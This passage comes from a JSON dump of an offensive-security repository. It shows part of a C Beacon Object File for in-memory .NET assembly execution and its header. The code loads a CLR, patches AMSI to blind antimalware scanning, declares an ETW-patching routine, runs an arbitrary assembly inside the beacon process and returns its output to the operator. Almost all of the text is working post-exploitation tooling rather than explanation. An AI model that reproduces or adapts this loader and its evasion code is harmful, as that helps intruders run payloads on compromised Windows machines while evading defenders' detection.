frConsole, revertETW);\r\n        return;\r\n    }\r\n\r\n    hr = ctx.pAppDomainThunk->lpVtbl->QueryInterface(ctx.pAppDomainThunk, &xIID_AppDomain, (VOID**)&ctx.pAppDomain);\r\n    if (hr != S_OK) {\r\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to query AppDomain interface\");\r\n        SetStdHandle(((DWORD)-11), stdOutput);\r\n        PerformCleanup(&ctx, frConsole, revertETW);\r\n        return;\r\n    }\r\n\r\n    //Patch amsi\r\n    if (amsi != 0) {\r\n        success = patchAMSI();\r\n\r\n        if (success != 1) {\r\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Patching AMSI failed. Try running without patching AMSI and using obfuscation\");\r\n            SetStdHandle(((DWORD)-11), stdOutput);\r\n            PerformCleanup(&ctx, frConsole, revertETW);\r\n            return;\r\n        }\r\n    }\r\n\r\n    //Prep SafeArray\r\n    SAFEARRAYBOUND rgsabound[1] = { 0 };\r\n    rgsabound[0].cElements = assemblyByteLen;\r\n    rgsabound[0].lLbound = 0;\r\n    ctx.pSafeArray = OLEAUT32$SafeArrayCreate(VT_UI1, 1, rgsabound);\r\n    if (!ctx.pSafeArray) {\r\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to create SafeArray\");\r\n        SetStdHandle(((DWORD)-11), stdOutput);\r\n        PerformCleanup(&ctx, frConsole, revertETW);\r\n        return;\r\n    }\r\n\r\n    void* pvData = NULL;\r\n    hr = OLEAUT32$SafeArrayAccessData(ctx.pSafeArray, &pvData);\r\n    if (hr != S_OK) {\r\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to access SafeArray data\");\r\n        SetStdHandle(((DWORD)-11), stdOutput);\r\n        PerformCleanup(&ctx, frConsole, revertETW);\r\n        return;\r\n    }\r\n\r\n    MSVCRT$memcpy(pvData, assemblyBytes, assemblyByteLen);\r\n    hr = OLEAUT32$SafeArrayUnaccessData(ctx.pSafeArray);\r\n\r\n    //Load assembly\r\n    hr = ctx.pAppDomain->lpVtbl->Load_3(ctx.pAppDomain, ctx.pSafeArray, &ctx.pAssembly);\r\n    if (hr != S_OK) {\r\n        BeaconPrintf(CALLBACK_ERROR , \"[!] Process refusing to load AppDomain of %ls CLR version. Try running an assembly that requires a differnt CLR version.\\n\", wNetVersion);\r\n        SetStdHandle(((DWORD)-11), stdOutput);\r\n        PerformCleanup(&ctx, frConsole, revertETW);\r\n        return;\r\n    }\r\n\r\n    hr = ctx.pAssembly->lpVtbl->EntryPoint(ctx.pAssembly, &ctx.pMethodInfo);\r\n    if (hr != S_OK) {\r\n        BeaconPrintf(CALLBACK_ERROR , \"[!] Process refusing to find entry point of assembly.\\n\");\r\n        SetStdHandle(((DWORD)-11), stdOutput);\r\n        PerformCleanup(&ctx, frConsole, revertETW);\r\n        return;\r\n    }\r\n\r\n    ZeroMemory(&ctx.retVal, sizeof(VARIANT));\r\n    ZeroMemory(&ctx.obj, sizeof(VARIANT));\r\n    ctx.obj.vt = VT_NULL;\r\n\r\n    ctx.psaStaticMethodArgs = OLEAUT32$SafeArrayCreateVector(VT_VARIANT, 0, (ULONG)entryPoint);\r\n    if (!ctx.psaStaticMethodArgs) {\r\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to create method args array\");\r\n        SetStdHandle(((DWORD)-11), stdOutput);\r\n        PerformCleanup(&ctx, frConsole, revertETW);\r\n        return;\r\n    }\r\n\r\n    long idx[1] = { 0 };\r\n    OLEAUT32$SafeArrayPutElement(ctx.psaStaticMethodArgs, idx, &ctx.vtPsa);\r\n\r\n    //Invoke our .NET Method\r\n    hr = ctx.pMethodInfo->lpVtbl->Invoke_3(ctx.pMethodInfo, ctx.obj, ctx.psaStaticMethodArgs, &ctx.retVal);\r\n\r\n    // Use hybrid reading for mailslots with improved chunking\r\n    BOOL bufferMode = ReadSlotHybrid(ctx.returnData, ctx.returnDataSize, &ctx.mainHandle, &ctx.hEvent);\r\n    ctx.useChunking = !bufferMode;\r\n\r\n    // Send output only if not already sent in chunks\r\n    if (!ctx.useChunking) {\r\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n\\n%s\\n\", ctx.returnData);\r\n    }\r\n\r\n    //Revert stdout back to original handles\r\n    SetStdHandle(((DWORD)-11), stdOutput);\r\n\r\n    //Cleanup everything\r\n    PerformCleanup(&ctx, frConsole, revertETW);\r\n}"
  },
  {
    "path": "Execution-BOF/execute-assembly/inlineExecute-Assembly.h",
    "content": "#pragma once\n#include <windows.h>\n#include \"sal.h\"\n\n/*BOF Defs*/\n#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)\n#define intRealloc(ptr, size) (ptr) ? KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ptr, size) : KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)\nBOOL patchETW(BOOL revertETW);\n\n// Define _TRUNCATE if not already defined\n#ifndef _TRUNCATE\n#define _TRUNCATE ((size_t)-1)\n#endif\n\n//MSVCRT\nWINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T);\nWINBASEAPI void* __cdecl MSVCRT$memcpy(void* __restrict _Dst, const void* __restrict _Src, size_t _MaxCount);\nWINBASEAPI void __cdecl MSVCRT$memset(void* dest, int c, size_t count);\nWINBASEAPI int __cdecl MSVCRT$strcmp(const char* _Str1, const char* _Str2);\nWINBASEAPI SIZE_T WINAPI MSVCRT$strlen(const char* str);\nWINBASEAPI int __cdecl MSVCRT$_snprintf(char* s, size_t n, const char* fmt, ...);\nWINBASEAPI errno_t __cdecl MSVCRT$mbstowcs_s(size_t* pReturnValue, wchar_t* wcstr, size_t sizeInWords, const char* mbstr, size_t count);\nWINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);\nWINBASEAPI char* WINAPI MSVCRT$_strlwr(char * str);\nWINBASEAPI char* WINAPI MSVCRT$strrchr(char * str);\nWINBASEAPI int __cdecl MSVCRT$_open_osfhandle (intptr_t osfhandle, int flags);\nWINBASEAPI int __cdecl MSVCRT$_dup2( int fd1, int fd2 );\nWINBASEAPI int __cdecl MSVCRT$_close(int fd);\nWINBASEAPI void __cdecl MSVCRT$free(void *_Memory);\n//KERNEL32\nWINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();\nWINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\nWINBASEAPI int WINAPI KERNEL32$lstrlenA(LPCSTR lpString);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateMailslotA(LPCSTR lpName, DWORD nMaxMessageSize, DWORD lReadTimeout, LPSECURITY_ATTRIBUTES lpSecurityAttributes);\nWINBASEAPI BOOL WINAPI KERNEL32$GetMailslotInfo(HANDLE  hMailslot, LPDWORD lpMaxMessageSize, LPDWORD lpNextSize, LPDWORD lpMessageCount, LPDWORD lpReadTimeout);\nWINBASEAPI BOOL WINAPI KERNEL32$ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName);\nDECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalAlloc(UINT uFlags, SIZE_T dwBytes);\nDECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalFree(HGLOBAL hMem);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (PVOID, DWORD, DWORD, PDWORD);\nWINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID);\nWINBASEAPI LPVOID WINAPI KERNEL32$HeapReAlloc (HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes);\nWINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID);\nWINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject (HANDLE hHandle, DWORD dwMilliseconds);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCSTR lpName);\nWINBASEAPI BOOL WINAPI KERNEL32$ReleaseMutex(HANDLE hMutex);\nWINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);\n\nWINBASEAPI BOOL WINAPI KERNEL32$FreeLibrary(HMODULE hLibModule);\nWINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR lpLibFileName);\nWINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR lpModuleName);\nWINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE hModule, LPCSTR lpProcName);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID);\nWINBASEAPI VOID WINAPI KERNEL32$GetSystemInfo(LPSYSTEM_INFO lpSystemInfo);\nWINBASEAPI SIZE_T WINAPI KERNEL32$VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);\n\n//SHELL32\nWINBASEAPI LPWSTR* WINAPI SHELL32$CommandLineToArgvW(LPCWSTR lpCmdLine, int* pNumArgs);\n//MSCOREE\nWINBASEAPI HRESULT WINAPI MSCOREE$CLRCreateInstance(REFCLSID clsid, REFIID riid, LPVOID* ppInterface);\n//OLEAUT32\nWINBASEAPI SAFEARRAY* WINAPI OLEAUT32$SafeArrayCreateVector(VARTYPE vt, LONG lLbound, ULONG   cElements);\nWINBASEAPI SAFEARRAY* WINAPI OLEAUT32$SafeArrayCreate(VARTYPE vt, UINT cDims, SAFEARRAYBOUND* rgsabound);\nWINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayAccessData(SAFEARRAY* psa, void HUGEP** ppvData);\nWINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayUnaccessData(SAFEARRAY* psa);\nWINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayPutElement(SAFEARRAY* psa, LONG* rgIndices, void* pv);\nWINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayDestroy(SAFEARRAY* psa);\nWINBASEAPI HRESULT WINAPI OLEAUT32$VariantClear(VARIANTARG* pvarg);\nWINBASEAPI BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR* psz);\n\n#define intZeroMemory(addr,size) memset((addr),0,size)\n#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#define memset MSVCRT$memset\n//#define stdout (__acrt_iob_func(1))\n#define STATUS_SUCCESS 0\n#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )\n\n/*GetProcAddess Pointers*/\ntypedef DWORD (WINAPI* _GetCurrentProcessId) (void);\ntypedef BOOL (WINAPI* _AttachConsole) (DWORD dwProcessId);\ntypedef BOOL (WINAPI* _AllocConsole) (void);\ntypedef HWND (WINAPI* _GetConsoleWindow) (void);\ntypedef BOOL (WINAPI* _ShowWindow) (HWND hWnd, int nCmdShow);\ntypedef BOOL (WINAPI* _FreeConsole) (void);\ntypedef BOOL (WINAPI* _SetStdHandle) (DWORD nStdHandle, HANDLE hHandle);\ntypedef HANDLE (WINAPI* _GetStdHandle) (DWORD nStdHandle);\ntypedef BOOL (WINAPI* _CloseHandle) (HANDLE hObject);\ntypedef _Post_equals_last_error_ DWORD (WINAPI* _GetLastError) (void);\n//typedef int (WINAPI* _WideCharToMultiByte) (UINT CodePage, DWORD dwFlags, _In_NLS_string_(cchWideChar)LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar);\ntypedef LPVOID (WINAPI* _CoTaskMemAlloc) (SIZE_T cb);\n//typedef LPVOID (WINAPI* _CoTaskMemFree) (_Frees_ptr_opt_ LPVOID pv);\ntypedef HANDLE (WINAPI* _CreateNamedPipeA) (LPCSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes);\ntypedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);//NtWriteVirtualMemory\ntypedef NTSTATUS(NTAPI* _NtProtectVirtualMemory)(HANDLE, PVOID, PULONG, ULONG, PULONG);//NtProtectVirtualMemory\n\n/*CLR GUIDS, Stucts -> Mostly from https://github.com/TheWover/donut*/\nstatic GUID xIID_AppDomain = {\n  0x05F696DC, 0x2B29, 0x3663, {0xAD, 0x8B, 0xC4,0x38, 0x9C, 0xF2, 0xA7, 0x13} };\n\nstatic GUID xCLSID_CLRMetaHost = {\n  0x9280188d, 0xe8e, 0x4867, {0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde} };\n\nstatic GUID xIID_ICLRMetaHost = {\n  0xD332DB9E, 0xB9B3, 0x4125, {0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16} };\n\nstatic GUID xIID_ICLRRuntimeInfo = {\n  0xBD39D1D2, 0xBA2F, 0x486a, {0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91} };\n\nstatic GUID xIID_ICorRuntimeHost = {\n  0xcb2f6722, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e} };\n\nstatic GUID xCLSID_CorRuntimeHost = {\n  0xcb2f6723, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e} };\n\n\nGUID        xIID_IUnknown;\nGUID        xIID_IDispatch;\n\n//GUID required to load .NET assemblies\n//GUID        xCLSID_CLRMetaHost;\n//GUID        xIID_ICLRMetaHost;\n//GUID        xIID_ICLRRuntimeInfo;\n//GUID        xCLSID_CorRuntimeHost;\n//GUID        xIID_ICorRuntimeHost;\n//GUID        xIID_AppDomain;\n\ntypedef struct _ICLRMetaHost            ICLRMetaHost;\ntypedef struct _ICLRRuntimeInfo         ICLRRuntimeInfo;\ntypedef struct _ICorRuntimeHost         ICorRuntimeHost;\ntypedef struct _ICorConfiguration       ICorConfiguration;\ntypedef struct _IGCThreadControl        IGCThreadControl;\ntypedef struct _IGCHostControl          IGCHostControl;\ntypedef struct _IDebuggerThreadControl  IDebuggerThreadControl;\ntypedef struct _AppDomain               IAppDomain;\ntypedef struct _Assembly                IAssembly;\ntypedef struct _Type                    IType;\ntypedef struct _Binder                  IBinder;\ntypedef struct _MethodInfo              IMethodInfo;\n\ntypedef void* HDOMAINENUM;\n\ntypedef HRESULT(__stdcall* CLRCreateInstanceFnPtr)(\n    REFCLSID clsid,\n    REFIID riid,\n    LPVOID* ppInterface);\n\ntypedef HRESULT(__stdcall* CreateInterfaceFnPtr)(\n    REFCLSID clsid,\n    REFIID riid,\n    LPVOID* ppInterface);\n\n\ntypedef HRESULT(__stdcall* CallbackThreadSetFnPtr)(void);\n\ntypedef HRESULT(__stdcall* CallbackThreadUnsetFnPtr)(void);\n\ntypedef void(__stdcall* RuntimeLoadedCallbackFnPtr)(\n    ICLRRuntimeInfo* pRuntimeInfo,\n    CallbackThreadSetFnPtr pfnCallbackThreadSet,\n    CallbackThreadUnsetFnPtr pfnCallbackThreadUnset);\n\n#undef DUMMY_METHOD\n#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IBinder *This)\n\ntypedef struct _BinderVtbl {\n    HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n        IBinder* This,\n        /* [in] */ REFIID riid,\n        /* [iid_is][out] */ void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n        IBinder* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n        IBinder* This);\n\n    DUMMY_METHOD(GetTypeInfoCount);\n    DUMMY_METHOD(GetTypeInfo);\n    DUMMY_METHOD(GetIDsOfNames);\n    DUMMY_METHOD(Invoke);\n    DUMMY_METHOD(ToString);\n    DUMMY_METHOD(Equals);\n    DUMMY_METHOD(GetHashCode);\n    DUMMY_METHOD(GetType);\n    DUMMY_METHOD(BindToMethod);\n    DUMMY_METHOD(BindToField);\n    DUMMY_METHOD(SelectMethod);\n    DUMMY_METHOD(SelectProperty);\n    DUMMY_METHOD(ChangeType);\n    DUMMY_METHOD(ReorderArgumentArray);\n} BinderVtbl;\n\ntypedef struct _Binder {\n    BinderVtbl* lpVtbl;\n} Binder;\n\n#undef DUMMY_METHOD\n#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAppDomain *This)\n\ntypedef struct _AppDomainVtbl {\n    BEGIN_INTERFACE\n\n        HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            IAppDomain* This,\n            /* [in] */ REFIID riid,\n            /* [iid_is][out] */ void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n        IAppDomain* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n        IAppDomain* This);\n\n    DUMMY_METHOD(GetTypeInfoCount);\n    DUMMY_METHOD(GetTypeInfo);\n    DUMMY_METHOD(GetIDsOfNames);\n    DUMMY_METHOD(Invoke);\n\n    DUMMY_METHOD(ToString);\n    DUMMY_METHOD(Equals);\n    DUMMY_METHOD(GetHashCode);\n    DUMMY_METHOD(GetType);\n    DUMMY_METHOD(InitializeLifetimeService);\n    DUMMY_METHOD(GetLifetimeService);\n    DUMMY_METHOD(Evidence);\n    DUMMY_METHOD(add_DomainUnload);\n    DUMMY_METHOD(remove_DomainUnload);\n    DUMMY_METHOD(add_AssemblyLoad);\n    DUMMY_METHOD(remove_AssemblyLoad);\n    DUMMY_METHOD(add_ProcessExit);\n    DUMMY_METHOD(remove_ProcessExit);\n    DUMMY_METHOD(add_TypeResolve);\n    DUMMY_METHOD(remove_TypeResolve);\n    DUMMY_METHOD(add_ResourceResolve);\n    DUMMY_METHOD(remove_ResourceResolve);\n    DUMMY_METHOD(add_AssemblyResolve);\n    DUMMY_METHOD(remove_AssemblyResolve);\n    DUMMY_METHOD(add_UnhandledException);\n    DUMMY_METHOD(remove_UnhandledException);\n    DUMMY_METHOD(DefineDynamicAssembly);\n    DUMMY_METHOD(DefineDynamicAssembly_2);\n    DUMMY_METHOD(DefineDynamicAssembly_3);\n    DUMMY_METHOD(DefineDynamicAssembly_4);\n    DUMMY_METHOD(DefineDynamicAssembly_5);\n    DUMMY_METHOD(DefineDynamicAssembly_6);\n    DUMMY_METHOD(DefineDynamicAssembly_7);\n    DUMMY_METHOD(DefineDynamicAssembly_8);\n    DUMMY_METHOD(DefineDynamicAssembly_9);\n    DUMMY_METHOD(CreateInstance);\n    DUMMY_METHOD(CreateInstanceFrom);\n    DUMMY_METHOD(CreateInstance_2);\n    DUMMY_METHOD(CreateInstanceFrom_2);\n    DUMMY_METHOD(CreateInstance_3);\n    DUMMY_METHOD(CreateInstanceFrom_3);\n    DUMMY_METHOD(Load);\n    DUMMY_METHOD(Load_2);\n\n    HRESULT(STDMETHODCALLTYPE* Load_3)(\n        IAppDomain* This,\n        SAFEARRAY* rawAssembly,\n        IAssembly** pRetVal);\n\n    DUMMY_METHOD(Load_4);\n    DUMMY_METHOD(Load_5);\n    DUMMY_METHOD(Load_6);\n    DUMMY_METHOD(Load_7);\n    DUMMY_METHOD(ExecuteAssembly);\n    DUMMY_METHOD(ExecuteAssembly_2);\n    DUMMY_METHOD(ExecuteAssembly_3);\n    DUMMY_METHOD(FriendlyName);\n    DUMMY_METHOD(BaseDirectory);\n    DUMMY_METHOD(RelativeSearchPath);\n    DUMMY_METHOD(ShadowCopyFiles);\n    DUMMY_METHOD(GetAssemblies);\n    DUMMY_METHOD(AppendPrivatePath);\n    DUMMY_METHOD(ClearPrivatePath);\n    DUMMY_METHOD(SetShadowCopyPath);\n    DUMMY_METHOD(ClearShadowCopyPath);\n    DUMMY_METHOD(SetCachePath);\n    DUMMY_METHOD(SetData);\n    DUMMY_METHOD(GetData);\n    DUMMY_METHOD(SetAppDomainPolicy);\n    DUMMY_METHOD(SetThreadPrincipal);\n    DUMMY_METHOD(SetPrincipalPolicy);\n    DUMMY_METHOD(DoCallBack);\n    DUMMY_METHOD(DynamicDirectory);\n\n    END_INTERFACE\n} AppDomainVtbl;\n\ntypedef struct _AppDomain {\n    AppDomainVtbl* lpVtbl;\n} AppDomain;\n\n#undef DUMMY_METHOD\n#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAssembly *This)\n\ntypedef struct _AssemblyVtbl {\n    BEGIN_INTERFACE\n\n        HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            IAssembly* This,\n            REFIID riid,\n            void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n        IAssembly* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n        IAssembly* This);\n\n    DUMMY_METHOD(GetTypeInfoCount);\n    DUMMY_METHOD(GetTypeInfo);\n    DUMMY_METHOD(GetIDsOfNames);\n\n    DUMMY_METHOD(Invoke);\n    DUMMY_METHOD(ToString);\n    DUMMY_METHOD(Equals);\n    DUMMY_METHOD(GetHashCode);\n    DUMMY_METHOD(GetType);\n    DUMMY_METHOD(CodeBase);\n    DUMMY_METHOD(EscapedCodeBase);\n    DUMMY_METHOD(GetName);\n    DUMMY_METHOD(GetName_2);\n    DUMMY_METHOD(FullName);\n\n    HRESULT(STDMETHODCALLTYPE* EntryPoint)(\n        IAssembly* This,\n        IMethodInfo** pRetVal);\n\n    HRESULT(STDMETHODCALLTYPE* GetType_2)(\n        IAssembly* This,\n        BSTR        name,\n        IType** pRetVal);\n\n    DUMMY_METHOD(GetType_3);\n    DUMMY_METHOD(GetExportedTypes);\n    DUMMY_METHOD(GetTypes);\n    DUMMY_METHOD(GetManifestResourceStream);\n    DUMMY_METHOD(GetManifestResourceStream_2);\n    DUMMY_METHOD(GetFile);\n    DUMMY_METHOD(GetFiles);\n    DUMMY_METHOD(GetFiles_2);\n    DUMMY_METHOD(GetManifestResourceNames);\n    DUMMY_METHOD(GetManifestResourceInfo);\n    DUMMY_METHOD(Location);\n    DUMMY_METHOD(Evidence);\n    DUMMY_METHOD(GetCustomAttributes);\n    DUMMY_METHOD(GetCustomAttributes_2);\n    DUMMY_METHOD(IsDefined);\n    DUMMY_METHOD(GetObjectData);\n    DUMMY_METHOD(add_ModuleResolve);\n    DUMMY_METHOD(remove_ModuleResolve);\n    DUMMY_METHOD(GetType_4);\n    DUMMY_METHOD(GetSatelliteAssembly);\n    DUMMY_METHOD(GetSatelliteAssembly_2);\n    DUMMY_METHOD(LoadModule);\n    DUMMY_METHOD(LoadModule_2);\n    DUMMY_METHOD(CreateInstance);\n    DUMMY_METHOD(CreateInstance_2);\n    DUMMY_METHOD(CreateInstance_3);\n    DUMMY_METHOD(GetLoadedModules);\n    DUMMY_METHOD(GetLoadedModules_2);\n    DUMMY_METHOD(GetModules);\n    DUMMY_METHOD(GetModules_2);\n    DUMMY_METHOD(GetModule);\n    DUMMY_METHOD(GetReferencedAssemblies);\n    DUMMY_METHOD(GlobalAssemblyCache);\n\n    END_INTERFACE\n} AssemblyVtbl;\n\ntypedef enum _BindingFlags {\n    BindingFlags_Default = 0,\n    BindingFlags_IgnoreCase = 1,\n    BindingFlags_DeclaredOnly = 2,\n    BindingFlags_Instance = 4,\n    BindingFlags_Static = 8,\n    BindingFlags_Public = 16,\n    BindingFlags_NonPublic = 32,\n    BindingFlags_FlattenHierarchy = 64,\n    BindingFlags_InvokeMethod = 256,\n    BindingFlags_CreateInstance = 512,\n    BindingFlags_GetField = 1024,\n    BindingFlags_SetField = 2048,\n    BindingFlags_GetProperty = 4096,\n    BindingFlags_SetProperty = 8192,\n    BindingFlags_PutDispProperty = 16384,\n    BindingFlags_PutRefDispProperty = 32768,\n    BindingFlags_ExactBinding = 65536,\n    BindingFlags_SuppressChangeType = 131072,\n    BindingFlags_OptionalParamBinding = 262144,\n    BindingFlags_IgnoreReturn = 16777216\n} BindingFlags;\n\ntypedef struct _Assembly {\n    AssemblyVtbl* lpVtbl;\n} Assembly;\n\n#undef DUMMY_METHOD\n#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IType *This)\n\ntypedef struct _TypeVtbl {\n    BEGIN_INTERFACE\n\n        HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            IType* This,\n            REFIID riid,\n            void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n        IType* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n        IType* This);\n\n    DUMMY_METHOD(GetTypeInfoCount);\n    DUMMY_METHOD(GetTypeInfo);\n    DUMMY_METHOD(GetIDsOfNames);\n    DUMMY_METHOD(Invoke);\n\n    DUMMY_METHOD(ToString);\n    DUMMY_METHOD(Equals);\n    DUMMY_METHOD(GetHashCode);\n    DUMMY_METHOD(GetType);\n    DUMMY_METHOD(MemberType);\n    DUMMY_METHOD(name);\n    DUMMY_METHOD(DeclaringType);\n    DUMMY_METHOD(ReflectedType);\n    DUMMY_METHOD(GetCustomAttributes);\n    DUMMY_METHOD(GetCustomAttributes_2);\n    DUMMY_METHOD(IsDefined);\n    DUMMY_METHOD(Guid);\n    DUMMY_METHOD(Module);\n    DUMMY_METHOD(Assembly);\n    DUMMY_METHOD(TypeHandle);\n    DUMMY_METHOD(FullName);\n    DUMMY_METHOD(Namespace);\n    DUMMY_METHOD(AssemblyQualifiedName);\n    DUMMY_METHOD(GetArrayRank);\n    DUMMY_METHOD(BaseType);\n    DUMMY_METHOD(GetConstructors);\n    DUMMY_METHOD(GetInterface);\n    DUMMY_METHOD(GetInterfaces);\n    DUMMY_METHOD(FindInterfaces);\n    DUMMY_METHOD(GetEvent);\n    DUMMY_METHOD(GetEvents);\n    DUMMY_METHOD(GetEvents_2);\n    DUMMY_METHOD(GetNestedTypes);\n    DUMMY_METHOD(GetNestedType);\n    DUMMY_METHOD(GetMember);\n    DUMMY_METHOD(GetDefaultMembers);\n    DUMMY_METHOD(FindMembers);\n    DUMMY_METHOD(GetElementType);\n    DUMMY_METHOD(IsSubclassOf);\n    DUMMY_METHOD(IsInstanceOfType);\n    DUMMY_METHOD(IsAssignableFrom);\n    DUMMY_METHOD(GetInterfaceMap);\n    DUMMY_METHOD(GetMethod);\n    DUMMY_METHOD(GetMethod_2);\n    DUMMY_METHOD(GetMethods);\n    DUMMY_METHOD(GetField);\n    DUMMY_METHOD(GetFields);\n    DUMMY_METHOD(GetProperty);\n    DUMMY_METHOD(GetProperty_2);\n    DUMMY_METHOD(GetProperties);\n    DUMMY_METHOD(GetMember_2);\n    DUMMY_METHOD(GetMembers);\n    DUMMY_METHOD(InvokeMember);\n    DUMMY_METHOD(UnderlyingSystemType);\n    DUMMY_METHOD(InvokeMember_2);\n\n    HRESULT(STDMETHODCALLTYPE* InvokeMember_3)(\n        IType* This,\n        BSTR         name,\n        BindingFlags invokeAttr,\n        IBinder* Binder,\n        VARIANT      Target,\n        SAFEARRAY* args,\n        VARIANT* pRetVal);\n\n    DUMMY_METHOD(GetConstructor);\n    DUMMY_METHOD(GetConstructor_2);\n    DUMMY_METHOD(GetConstructor_3);\n    DUMMY_METHOD(GetConstructors_2);\n    DUMMY_METHOD(TypeInitializer);\n    DUMMY_METHOD(GetMethod_3);\n    DUMMY_METHOD(GetMethod_4);\n    DUMMY_METHOD(GetMethod_5);\n    DUMMY_METHOD(GetMethod_6);\n    DUMMY_METHOD(GetMethods_2);\n    DUMMY_METHOD(GetField_2);\n    DUMMY_METHOD(GetFields_2);\n    DUMMY_METHOD(GetInterface_2);\n    DUMMY_METHOD(GetEvent_2);\n    DUMMY_METHOD(GetProperty_3);\n    DUMMY_METHOD(GetProperty_4);\n    DUMMY_METHOD(GetProperty_5);\n    DUMMY_METHOD(GetProperty_6);\n    DUMMY_METHOD(GetProperty_7);\n    DUMMY_METHOD(GetProperties_2);\n    DUMMY_METHOD(GetNestedTypes_2);\n    DUMMY_METHOD(GetNestedType_2);\n    DUMMY_METHOD(GetMember_3);\n    DUMMY_METHOD(GetMembers_2);\n    DUMMY_METHOD(Attributes);\n    DUMMY_METHOD(IsNotPublic);\n    DUMMY_METHOD(IsPublic);\n    DUMMY_METHOD(IsNestedPublic);\n    DUMMY_METHOD(IsNestedPrivate);\n    DUMMY_METHOD(IsNestedFamily);\n    DUMMY_METHOD(IsNestedAssembly);\n    DUMMY_METHOD(IsNestedFamANDAssem);\n    DUMMY_METHOD(IsNestedFamORAssem);\n    DUMMY_METHOD(IsAutoLayout);\n    DUMMY_METHOD(IsLayoutSequential);\n    DUMMY_METHOD(IsExplicitLayout);\n    DUMMY_METHOD(IsClass);\n    DUMMY_METHOD(IsInterface);\n    DUMMY_METHOD(IsValueType);\n    DUMMY_METHOD(IsAbstract);\n    DUMMY_METHOD(IsSealed);\n    DUMMY_METHOD(IsEnum);\n    DUMMY_METHOD(IsSpecialName);\n    DUMMY_METHOD(IsImport);\n    